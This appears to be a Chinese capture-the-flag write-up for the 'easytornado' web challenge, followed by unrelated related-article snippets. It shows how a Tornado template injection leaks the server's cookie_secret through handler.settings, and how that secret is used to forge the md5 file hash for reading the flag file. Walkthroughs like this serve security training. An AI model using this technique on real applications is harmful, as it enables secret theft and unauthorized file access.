easytornado
0x01
进入网站,发现3个文件
逐一查看
flag.txt
url:?filename=/flag.txt&filehash=d3f3ff3f92c98f5f0ff4b8c423e1c588
welcome.txt
url:?filename=/welcome.txt&filehash=5eb47a32caebeb0573e9c7b4855ed21d
hints.txt
url:filename=/hints.txt&filehash=c29ae3750aeaa92cc6ee247785c661e7
0x02 分析
url为?filename=文件名&filehash=hash值构成
而hash值由md5(cookie_secret+md5(filename))构成
已知flag在/fllllllllllllag中
那么只要知道cookie_secret,便得出flag
存在服务器模板注入
使用handler.settings对象得到 cookie_secret
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'd979c023-0408-4cfd-bbb3-adff7ab5e408'}
构造payload
cookie_secret:d979c023-0408-4cfd-bbb3-adff7ab5e408
md5(/fllllllllllllag):3bf9f6cf685a6dd8defadabfb41a03a1
md5(合并)
得到md5值:07d0fdc73eb7a22787adfe04f375bf2a
构造,得出flag
?filename=/fllllllllllllag&filehash=07d0fdc73eb7a22787adfe04f375bf2a
参考链接:
https://blog.csdn.net/zz_Caleb/article/details/101473013/
https://www.cnblogs.com/joker-vip/p/12511948.html
easytornado的更多相关文章
- 攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...
- 攻防世界 easytornado
easytornado 进入环境就这样子 我们逐一访问看看 进入flag.txt提示flag in /fllllllllllllag我们访问fllllllllllllag看看 报了一个error,且在 ...
- 攻防世界 - Web(三)
PHP2: 1.进入页面,进行抓包或后台扫描都没有什么发现,然后网上查一波wp,发现是关于.phps文件,进入index.phps,弹出一段代码,查看源代码, <?php if("ad ...
- SSTI
最牛bypass:https://blog.csdn.net/solitudi/article/details/107752717 SSTI的奇怪绕过姿势:https://blog.csdn.net/ ...
随机推荐
- JWT验证机制【刘新宇】【Django REST framework中使用JWT】
JWT 在用户注册或登录后,我们想记录用户的登录状态,或者为用户创建身份认证的凭证.我们不再使用Session认证机制,而使用Json Web Token认证机制. 什么是JWT Json web t ...
- 一张图记住Linux系统常用诊断工具
- 二维vector的使用
和数组一样,数组有二维的数组,vector也有二维的vector.下面就介绍一下二维vector的使用方法. 一般声明初始化二维vector有三种方法 (1) vector< vector< ...
- thinkphp5.0 模型的应用
<?php namespace app\admin\controller; use app\common\controller\BaseController; use think\Db;//数据 ...
- php中switch与ifelse的效率分析
1.当被判断的值是常量(固定不变的值)时,switch的运行效率比ifelse的运行效率高: $jiejie=3; // 变判断的值为常量 switch($jiejie){ case 1: ...
- (五)PL/SQL条件控制
简述 决策结构需要程序员指定一个或多个条件要计算,或由程序进行测试,如果条件被确定为真那么一条或多条语句被执行,如果要被执行的其它语句条件被确定为假,则选其它执行块. PL/SQL编程语言提供了以下几 ...
- SOCKET网络基础
- 消息中间件之zookper安装部署
消息中间件之zookper安装部署jdk可以在官网或者网上下载[root@q tools]# chmod 755 jdk-8u40-linux-x64.rpm [root@q tools]# rpm ...
- BIOS和CMOS区别
在网上看到一篇关于CMOS的文章,分享一下. 原文地址:http://jingyan.baidu.com/article/c843ea0b51155d77921e4a7a.html BIOS是什么? ...
- java并发Exchanger的使用
目录 简介 类定义 类继承 构造函数 两个主要方法 具体的例子 结语 简介 Exchanger是java 5引入的并发类,Exchanger顾名思义就是用来做交换的.这里主要是两个线程之间交换持有的对 ...